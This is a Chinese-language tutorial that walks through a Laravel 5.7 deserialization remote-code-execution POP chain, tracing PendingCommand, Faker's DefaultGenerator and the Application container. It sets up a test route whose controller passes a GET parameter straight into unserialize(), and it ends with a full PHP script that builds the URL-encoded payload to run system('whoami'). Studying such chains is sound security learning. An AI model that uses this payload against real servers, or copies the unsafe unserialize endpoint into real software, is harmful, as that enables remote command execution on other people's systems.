以前只是粗略的知道反序列化漏洞的原理,最近在学习Laravel框架的时候正好想起以前收藏的一篇反序列化RCE漏洞,借此机会跟着学习一下POP链的挖掘
Laravel是一个使用广泛并且优秀的PHP框架。这次挖掘的漏洞Laravel5.7版本,该漏洞需要对框架进行二次开发才能触发该漏洞
composer create-project laravel/laravel=5.7.* --prefer-dist ./
{安装目录}/public/index.php
,使用apache部署后访问入口文件显示Laravel欢迎界面即安装成功(或者使用命令php artisan serve
开启临时的开发环境的服务器进行访问)
use \Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function () {
return view('welcome');
});
// 添加的路由
Route::get('/test', 'Test\TestController@Test');
Test
函数实现反序列化功能:namespace App\Http\Controllers\Test;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
class TestController extends Controller
{
public function Test()
{
$code = $_GET['c'];
unserialize($code);
}
}
Laravel5.7版本在vendor/laravel/framework/src/Illuminate/Foundation/Testing
文件夹下增加了一个PendingCommand
类,官方的解释该类主要功能是用作命令执行,并且获取输出内容。
该类中几个重要属性:
public $test; //一个实例化的类 Illuminate\Auth\GenericUser
protected $app; //一个实例化的类 Illuminate\Foundation\Application
protected $command; //要执行的php函数 system
protected $parameters; //要执行的php函数的参数 array('id')
PendingCommand.php
中的run()
函数/**
* Execute the command.
*
* @return int
*/
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "' . $e->getActualArguments()[0]->getQuestion() . '" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode,
$exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
run()
函数被析构函数__destruct()
调用/**
* Handle the object's destruction.
*
* @return void
*/
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
简单的POP链为:构造的exp经过反序列化后调用__destruct()
,进而调用run()
,run()
进行代码执行。下面进行详细的分析
__destruct()
,__destruct()
方法中首先判断$hasExecuted
,如果为true
则return,可以看到该变量默认值为false
,所以可以顺利进入run()
方法`/**
* Determine if command has executed.
*
* @var bool
*/
protected $hasExecuted = false;
观察run()方法内的代码,我们要让代码顺利执行到run()
处才能顺利执行代码。首先进入mockConsoleOutput()
方法
171行使用Mockery::mock
实现对象模拟,经过调试可以顺利运行,接下来进入mockConsoleOutput()
函数
Mockery::mock
实现对象模拟,经过调试代码可以顺利运行到foreach
,foreach
循环里的代码是$this->test->expectedOutput
,这里对$this->test
类的expectedOutput
属性expectedOutput
属性;经过分析代码,我们发现这里只要能够返回一个数组代码就可以顺利进行下去。__get()
方法,让__get()
方法返回我们想要的数组就可以了。这里我选择的是DefaultGenerator.php
类DefaultGenerator
类进行实例化并传入数组array('hello'=>'world')
,打断点进行调试可以看到代码顺利执行下去了mockConsoleOutput()
方法内,接下来又是一个forearch
循环,如上一步的遍历数组一样,顺利执行下去$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
,其中Kernel::class
为固定值:"Illuminate\Contracts\Console\Kernel"
,在该处下断点进行调试分析下面的调用栈→ offsetGet(),$key=“Illuminate\Contracts\Console\Kernel”
→ make():父类的
make()
,$abstract="Illuminate\Contracts\Console\Kernel",$parameters=array(0)
return $this->instances[$abstract];
=$this->instances["Illuminate\Contracts\Console\Kernel"]
也就是返回了Illuminate\Foundation\Application
对象;即我们可以将任意对象赋值给 $this->instances[$abstract]
,这个对象最终会赋值给[Kernel::class]
,接着调用call()
方法→ resolve(),$abstract=“Illuminate\Contracts\Console\Kernel”,instances数组中为Application对象
call()
方法,isCallableWithAtSign()
方法是判断确定给定的字符串是否使用Class@method
语法,不满足自然跳出,执行到return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
callBoundMethod()
函数,可以发现它的作用只是判断$callback
是否为数组protected static function callBoundMethod($container, $callback, $default)
{
if (! is_array($callback)) {
return $default instanceof Closure ? $default() : $default;
}
function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
}
其中$callback
参数是我们可控的,第二个参数由函数getMethodDependencies()
控制,我们跟进看一下
$parameters
数组和$dependencies
数组合并,其中$dependencies
数组为空,而$parameters
数组是我们可控的。最终也就是执行了call_user_func_array('xxx',array('xxx'))
exp文件
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));
echo urlencode(serialize($pendingcommand));
}
mockConsoleOutput()
和mockConsoleOutput()
,由于某个属性的不存在,我们需要魔法函数__get()
返回数组来顺利运行下文的代码参考文章:Laravel5.7反序列化漏洞之RCE链挖掘